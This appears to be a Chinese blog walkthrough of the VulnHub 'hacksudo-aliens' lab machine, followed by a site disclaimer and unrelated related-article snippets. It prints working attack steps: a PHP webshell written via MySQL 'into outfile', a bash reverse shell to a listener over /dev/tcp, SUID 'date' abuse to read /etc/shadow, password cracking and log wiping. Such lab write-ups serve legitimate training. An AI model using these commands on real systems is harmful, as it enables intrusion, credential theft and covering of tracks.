vulnhub靶场【hacksudo】之aliens

前言

靶机:hacksudo-aliens

攻击:kali

都是采用虚拟机的形式,网卡桥接模式

主机发现

使用arp-scan -l或者netdiscover -r 192.168.1.1/24进行探索

信息收集

使用nmap扫描

两个http服务,一个ssh服务

网站信息

访问查看

访问80端口

查看页面源代码,可以发现一个作者的人名vishal waghmare

访问9000端口,发现是phpmyadmin的管理界面,也就是数据库的一种管理工具

目录扫描

可能是目录型,尝试进行目录扫描

使用dirsearch、gobuster、ffuf、dirb、dirbuster等工具

使用dirsearch扫描,多出一个README.md文件,访问,应该是模板

访问backup,发现数据库的备份文件

点击下载后进行查看,这个信息可能有用,等会测试

打开图片目录,有一张图片,不只有无用处,先记住

尝试扫描9000端口,发现挺多

不过这里先看一个,记住其版本

漏洞寻找

80端口的信息,基本上指向的是9000端口,所以这里以获取的用户名和密码进行登录测试

用户名vishal,密码hcaksudo

点击用户账户,可以看到当前用户的一些相关设置

虽说vishal的权限与其他差不多,但是还是需要收集,因为这里的hacksudo数据库中,没有任何数据,可能对该用户没有放开。查看其他用户的密码

这里发现root的密码与vishal一样,但是登录root发现,数据库中依然没有数据

解密其他用户密码,不过这里学到了这种类型的密码,是mysql5类型

hacksudoshovon用户登录还是没有数据,不过收集到几个连接到数据库的用户名和密码

用户名密码
vishalhacksudo
roothacksudo
hacksudo123
shovon123
phpmyadminroot

尝试把上面的数据写入一个word.txt中,然后使用hydra尝试爆破ssh,并没有发现任何东西

尝试使用searchsploit搜索有无漏洞可复现,发现并无对应的版本

把之前的图片下载尝试从图片获取,也是没有信息,这时候看了一下网上的wp,因为实在不知道还有什么。

看了之后发现,80端口压根没有加载完整,我真的服了,可能是因为在虚拟机环境的原因,加载不动,我这里在物理机的浏览器访问

但是这里物理机访问也是很慢,估计资源加载的应该很多,猜测可能存在大量的js或其他的资源加载,所以目录扫描重新设置

发现之前漏扫的类型,说实话,真的吃资源,我这一个靶机,加载这一个界面,磁盘占用soso的快

不过访问后还是不能有其他操作,啧,突然想到之前在phpmyadmin中看到有几个用户是具有写权限的

并且在backup下载的mysql.bak中是有目录泄露的,之前截图未截取,这属于后半段的内容

漏洞利用

这里可以尝试通过mysql命令写入shell到指定位置,不过,有的方式需要条件

这里查看mysql数据库版本

可以使用outfile

select "<?php system($_REQUEST['cmd']);?>" into outfile "/var/backups/mysql/shell.php"

或者这里直接php一句话木马也可以,然后直接使用蚁🗡进行连接即可

不过测试,发现上面的路径没有权限写入,那么换路径,比如默认的apache2网页界面/var/www/html

select "<?php system($_REQUEST['cmd']);?>" into outfile "/var/www/html/shell.php"

使用浏览器访问进行测试

查看有无nc命令

构造bash反弹

bash -c 'bash -i >& /dev/tcp/192.168.1.16/9999 0>&1'
进行url编码后
bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.1.16%2f9999+0%3e%261%27%0a

首先在kali中开启nc监听9999端口,然后浏览器执行

提取

使用find寻找具有SUID的文件

刚开始发现有sudo,但是当前用户,无法使用,再看有date,之前没碰到,查看帮助文档

可以查看文件一次,并且还是具有SUID的。这么看可能不清晰,访问一个网站查看gtfobins.github.io

查看/etc/shadow文件

后面还有hacksudo的,太长,就没截图

那么就可以把相关的有密码的复制到kali的一个文件中,然后查看/etc/passwd,把相关的复制到kaili的另一个文件中,然后使用unshadow整合到一起,使用john进行破解

这里先爆出,就先登录测试

寻找具有SUID的文件,虽然有sudo,但是还是无法使用

查看第一个,发现该文件是可执行文件

直接在网站搜索,看有无可用gtfobins.github.io

执行命令,注意,是执行当前目录下的这个命令

痕迹清理

清空/var/log中的一些日志

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

删除/var/www/html/shell.php脚本

总结

  1. 主要在于信息收集,然后进行登录phpmyadmin后,如何进行一个反弹shell
  2. 对于mysql写入shell的几种方式,放在下面
  3. 对于一些具有SUID命令该如何使用,才使得可以提升权限
  4. 这两次的权限提升,都是具有SUID,主要是如何利用

mysql语句写入webshell的几种方式

以下涉及的位置,都需要绝对路径,并且有权限

  • 新建select方式
select 【shell】 into outfile 【位置】

mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,限制无法导入和导出文件

  • 表插入
insert into 表名('元组名') valuse (【shell】)

不过还是需要通过上面的导出方式,把数据放入指定的文件中

  • 日志写入
show variables like '%general%';

需要全局日志开启general_log,并且,需要指定一个php文件

这时候指向语句,会把没执行的语句记录到日志

select 【shell语句】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/36296.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

(数据结构与算法)递归 递归是什么 递归的案例和场景 递归进阶

递归的定义和应用条件 递归就是程序调用自身的编程技巧&#xff1b; 把大型复杂的问题转化为一个与原问题相似规模较小的问题来进行求解&#xff1b; 递归每次调用传入的是不同的变量 递归不是算法&#xff0c;是调用自己的过程 调用的那个是一个小问题&#xff0c;自己是一个…

鼠标右键单击Git Bash here不可用

最近在学习git时突然发现右键的git bash没反应&#xff0c;但是去点击应用图标就能正常运行&#xff0c;通常是因为你在安装git之后改变了它的目录名称或者位置&#xff0c;我就是因为安装后改变了一个文件夹的文件名导致不可用 在安装git时系统会默认给鼠标右键选项的git Bas…

【0x0002】HCI_Inquiry_Cancel命令详解

目录 一、命令概述 二、命令格式及参数说明 三、返回事件及参数说明 3.1. HCI_Command_Complete事件 3.2. Status 3.3. 示例 四、命令执行过程 4.1. 前提条件检查 4.2. 命令构建与发送 4.3. 控制器处理 4.4. 返回状态参数 4.5. 主机接收反馈与处理 4.6. 执行流程结…

OpenAI 12Days 第二天 强化微调(RFT):推动语言模型在科学研究中的应用

OpenAI 12Days 第二天 强化微调&#xff08;RFT&#xff09;&#xff1a;推动语言模型在科学研究中的应用 文章目录 OpenAI 12Days 第二天 强化微调&#xff08;RFT&#xff09;&#xff1a;推动语言模型在科学研究中的应用RFT的工作原理与应用领域案例研究&#xff1a;基因突变…

公共云提供商正在错失人工智能机遇

他们目前的成功和增长得益于人工智能的应用&#xff0c;但从长远来看&#xff0c;不可持续的成本和可行的替代方案可能会让企业望而却步。 生成式人工智能正在蓬勃发展&#xff0c;并且将继续蓬勃发展。因此&#xff0c;本地和公共云提供商都看到了对其人工智能产品的需求激增…

【Linux系列】AWK 使用指南

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

什么是 k8s CNI ?

1、什么是 CNI &#xff1f; CNI 是容器网络接口 &#xff08;Container Network Interface&#xff09;的缩写。定义了容器运行时如何与网络插件进行交互&#xff0c;从而管理容器网络。只要开发者遵循 CNI 定义的规范就可以接入 kubernetes &#xff0c;为 Pod 创建虚拟网卡…

深入理解进程的退出、等待与替换(Linux系统)

个人主页&#xff1a;敲上瘾-CSDN博客 个人专栏&#xff1a;Linux学习、游戏、数据结构、c语言基础、c学习、算法 目录 一、进程退出 1.退出场景 2.常见退出方法 3.退出码与退出信号 4._exit函数与exit函数 二、进程等待 1.什么是进程等待&#xff08;是什么&#xff1f;…

【初阶数据结构与算法】二叉树链式结构刷题训练(Leetcode二叉树遍历、单值二叉树、相同的树、另一棵树的子树、对称二叉树)

文章目录 一、二叉树的遍历二、单值二叉树三、相同的树四、另一颗树的子树五、对称二叉树 一、二叉树的遍历 在链式二叉树的定义与实现中我们已经详细讲解了二叉树常见的三种遍历方式&#xff0c;以及层序遍历&#xff0c;这里给出链接&#xff1a;【初阶数据结构与算法】二叉树…

深入浅出 Go 语言 sync包中的互斥锁、条件变量

深入浅出 Go 语言 sync包中的互斥锁、条件变量 引言 在并发编程中&#xff0c;多个 Goroutine 同时访问共享资源可能会导致数据竞争&#xff08;Race Condition&#xff09;&#xff0c;进而引发程序的不一致性或崩溃。为了确保并发程序的正确性和稳定性&#xff0c;Go 语言提…

制造业数据集成案例分享:3小时内实现MySQL到MySQL数据对接

ZZ刷新生产用料清单四化库存-制造一处-3小时&#xff1a;MySQL到MySQL数据集成案例分享 在现代制造业中&#xff0c;实时、准确的数据流动是确保生产效率和资源优化的关键。本文将分享一个实际运行的系统对接集成案例——“ZZ刷新生产用料清单四化库存-制造一处-3小时”&#…

OpenCV 图像基本操作

OpenCV快速通关 第一章&#xff1a;OpenCV 图像基本操作 第二章&#xff1a;OpenCV 图像基本操作 OpenCV 图像基本操作 OpenCV快速通关第二章&#xff1a;OpenCV 图像基本操作一、相关结构体与函数介绍&#xff08;一&#xff09;cv::Mat 结构体&#xff08;二&#xff09;cv:…

雨晨 2610(2)0.2510 Windows 11 24H2 Iot 企业版 LTSC 2024 极简 2in1

文件: 雨晨 2610(2)0.2510 Windows 11 24H2 Iot 企业版 LTSC 2024 极简 2in1 install.esd 索引: 1 名称: Windows 11 IoT 企业版 LTSC 极简 26100.2510 描述: Windows 11 IoT 企业版 LTSC 极简 26100.2510 By YCDISM RTM 2025 24-12-07 大小: 8,176,452,990 个字节 索引: 2 …

PHP保存base64编码图片,图片有一部分是灰色块儿,原因和解决办法

文章目录 场景原因解决方案完整的代码前端代码php代码 场景 我有个需求&#xff0c;移动端h5上传多张的图片。用input file可以上传多张&#xff0c;但是现在照片体积越来越大&#xff0c;同时上传多张会因为体积过大&#xff0c;导致上传失败。如果是小程序会好很多&#xff…

【CSP CCF记录】202212-2第28次认证 训练计划

题目 样例1输入 10 5 0 0 0 0 0 1 2 3 2 10 样例1输出 1 1 1 1 1 10 9 8 9 1 样例1解释 五项科目间没有依赖关系&#xff0c;都可以从第 1 天就开始训练。 10天时间恰好可以完成所有科目的训练。其中科目 1 耗时仅 1天&#xff0c;所以最晚可以拖延到第 10 天再开始训练&…

gitee

Git 是一个开源的 [ 分布式 ][ 版本控制系统 ] &#xff0c;用于敏捷高效地 处理任何或小或大的项目 Git 非常容易学习&#xff0c;低植入&#xff0c;高性能。因为拥有轻量的本地分支&#xff0c;易用的暂存区&#xff0c;和多工作流的特点&#xff0c;它超越了类似Subversio…

Spring——SpringBean初始接口

摘要 本文详细介绍了Spring框架中SpringBean的初始化接口和注解&#xff0c;包括BeanPostProcessor接口、InitializingBean接口和PostConstruct注解。文章解释了这些接口和注解的原理、作用、适用场景&#xff0c;并提供了示例代码。最后&#xff0c;对比了不同SpringBean初始…

「嵌入式系统设计与实现」书评:学习一个STM32的案例

本文最早发表于电子发烧友论坛&#xff1a;【新提醒】【「嵌入式系统设计与实现」阅读体验】 学习一个STM32的案例 - 发烧友官方/活动 - 电子技术论坛 - 广受欢迎的专业电子论坛!https://bbs.elecfans.com/jishu_2467617_1_1.html 感谢电子发烧友论坛和电子工业出版社的赠书。 …

操作系统——大容量存储结构

笔记内容及图片整理自XJTUSE “操作系统” 课程ppt&#xff0c;仅供学习交流使用&#xff0c;谢谢。 大容量存储结构概述 磁盘 磁盘为现代计算机系统提供大量外存。每个盘片为平的圆状&#xff08;类似CD&#xff09;&#xff0c;普通盘片直径为4.5~9.0厘米。盘片的两面都涂着…

Redis从入门到进阶(总结)

以下内容均以CentOS7为背景。 一、Redis安装及启动 mysql&#xff08;读&#xff1a;2000/s&#xff1b;写&#xff1a;600/s&#xff09; redis&#xff08;读&#xff1a;10w/s&#xff1b;写&#xff1a;8w/s&#xff09;通过官方给出的数据单机并发可以达到10w/s&#xf…